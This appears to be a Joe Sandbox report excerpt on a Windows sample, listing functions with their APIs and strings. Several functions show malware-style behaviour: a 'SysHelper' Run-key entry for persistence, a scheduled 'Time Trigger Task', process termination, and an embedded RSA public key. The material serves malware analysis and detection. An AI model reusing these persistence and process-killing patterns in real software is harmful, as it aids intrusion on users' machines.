DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

',', xrefs: 0046560B
fopen(', xrefs: 00465611
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75B04E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

Shell32.dll, xrefs: 0040F32C
\, xrefs: 0040F548
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 608ffdc866a55f30e1ae8f6dda7e69426a5b7cebb280104067948b8b4f2aab7d
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: 608ffdc866a55f30e1ae8f6dda7e69426a5b7cebb280104067948b8b4f2aab7d
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422
Proc-Type: , xrefs: 0046337C
ENCRYPTED, xrefs: 004633BC

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__invoke_watson.LIBCMT ref: 004C5D9B
__get_sys_err_msg.LIBCMT ref: 004C5DCD
__invoke_watson.LIBCMT ref: 004C5DEB

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg__invoke_watson$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 2139067377-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

, xrefs: 00457482
0123456789abcdef, xrefs: 004574C4
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
+, xrefs: 00457475
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
__invoke_watson.LIBCMT ref: 00441780
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
error:%08lX:%s:%s:%s, xrefs: 00450792
reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463097
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag, xrefs: 00419EC4
p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag$p2Q
API String ID: 2102423945-3310636487
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

